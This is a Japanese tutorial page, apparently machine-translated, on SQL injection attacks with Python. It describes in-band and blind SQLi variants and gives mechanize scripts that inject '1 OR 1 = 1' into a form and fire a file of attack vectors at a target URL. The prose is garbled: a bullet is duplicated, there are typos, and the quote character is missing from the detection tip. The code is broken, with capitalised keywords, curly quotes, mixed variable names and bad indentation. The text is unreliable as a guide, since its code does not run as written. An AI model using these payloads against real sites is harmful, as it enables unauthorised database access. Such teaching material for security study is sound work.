Python-penetration-testing-sqli-web-attack

提供:Dev Guides
移動先:案内検索

Python侵入テスト-SQLi Web攻撃

SQLインジェクションは、Webアプリケーションに接続されているデータベースから必要な応答を取得するために、URL文字列またはデータ構造に配置される一連のSQLコマンドです。 このタイプのattackkは通常、PHPまたはASP.NETを使用して開発されたWebページで発生します。

SQLインジェクション攻撃は、次の意図で行うことができます-

  • データベースのコンテンツを変更するには
  • データベースのコンテンツを変更するには
  • アプリケーションで許可されていないさまざまなクエリを実行するには

このタイプの攻撃は、アプリケーションが入力をSQLステートメントに渡す前に適切に検証しない場合に機能します。 注入は通常、アドレスバー、検索フィールド、またはデータフィールドに配置されます。

WebアプリケーションがSQLインジェクション攻撃に対して脆弱かどうかを検出する最も簡単な方法は、文字列に「」文字を使用して、エラーが発生するかどうかを確認することです。

SQLi攻撃の種類

このセクションでは、さまざまなタイプのSQLi攻撃について学習します。 攻撃は、次の2つのタイプに分類することができます-

  • インバンドSQLインジェクション(シンプルSQLi)
  • 推論SQLインジェクション(ブラインドSQLi)

インバンドSQLインジェクション(シンプルSQLi)

最も一般的なSQLインジェクションです。 この種のSQLインジェクションは、主に攻撃者が同じ通信チャネルを使用して攻撃を開始し、結果を集約できる場合に発生します。 インバンドSQLインジェクションは、さらに2つのタイプに分けられます-

  • エラーベースのSQLインジェクション-エラーベースのSQLインジェクション技術は、データベースの構造に関する情報を取得するためにデータベースサーバーによってスローされるエラーメッセージに依存しています。
  • ユニオンベースのSQLインジェクション-UNION SQL演算子を利用して2つ以上のSELECTステートメントの結果を単一の結果に結合し、HTTP応答の一部として返される別の帯域内SQLインジェクション技術です。

推論SQLインジェクション(ブラインドSQLi)

この種のSQLインジェクション攻撃では、Webアプリケーション経由でデータが転送されないため、攻撃者はインバンド攻撃の結果を見ることができません。 これがブラインドSQLiとも呼ばれる理由です。 推論SQLインジェクションにはさらに2つのタイプがあります-

  • *ブールベースのブラインドSQLi *-この種の手法は、データベースにSQLクエリを送信することに依存しており、クエリがTRUEまたはFALSEの結果を返すかどうかに応じて、アプリケーションに異なる結果を強制的に返します。
  • *時間ベースのブラインドSQLi *-この種の手法は、データベースへのSQLクエリの送信に依存しており、データベースが応答するまでに指定された時間(秒単位)待機するように強制します。 応答時間は、クエリの結果がTRUEかFALSEかを攻撃者に示します。

アプリケーションへの入力データを操作することにより、すべてのタイプのSQLiを実装できます。 次の例では、アプリケーションに攻撃ベクトルを挿入し、出力を分析して攻撃の可能性を検証するPythonスクリプトを作成しています。 ここでは、 mechanize という名前のpythonモジュールを使用します。これは、WebページでWebフォームを取得する機能を提供し、入力値の送信も容易にします。 このモジュールは、クライアント側の検証にも使用しました。

次のPythonスクリプトは、 mechanize を使用してフォームを送信し、応答を分析するのに役立ちます-

まず、 mechanize モジュールをインポートする必要があります。

import mechanize

次に、フォームの送信後に応答を取得するためのURLの名前を指定します。

url = input("Enter the full url")

次のコード行は、URLを開きます。

request = mechanize.Browser()
request.open(url)

次に、フォームを選択する必要があります。

request.select_form(nr = 0)

ここでは、列名「id」を設定します。

request["id"] = "1 OR 1 = 1"

次に、フォームを送信する必要があります。

response = request.submit()
content = response.read()
print content

上記のスクリプトは、POST要求に対する応答を出力します。 SQLクエリを中断し、1行ではなくテーブル内のすべてのデータを印刷する攻撃ベクトルを提出しました。 すべての攻撃ベクトルは、vectors.txtなどのテキストファイルに保存されます。 これで、以下に示すPythonスクリプトは、これらの攻撃ベクトルをファイルから取得し、サーバーに1つずつ送信します。 また、出力をファイルに保存します。

まず、mechanizeモジュールをインポートしましょう。

import mechanize

次に、フォームの送信後に応答を取得するためのURLの名前を指定します。

url = input("Enter the full url")
   attack_no = 1

ファイルから攻撃ベクトルを読み取る必要があります。

With open (‘vectors.txt’) as v:

ここで、各アラックベクトルとともにリクエストを送信します

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

これで、次のコード行により、応答が出力ファイルに書き込まれます。

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

応答を確認して分析することにより、攻撃の可能性を特定できます。 たとえば、* SQL構文にエラーがあります*という文を含む応答を提供する場合、フォームがSQLインジェクションの影響を受ける可能性があることを意味します。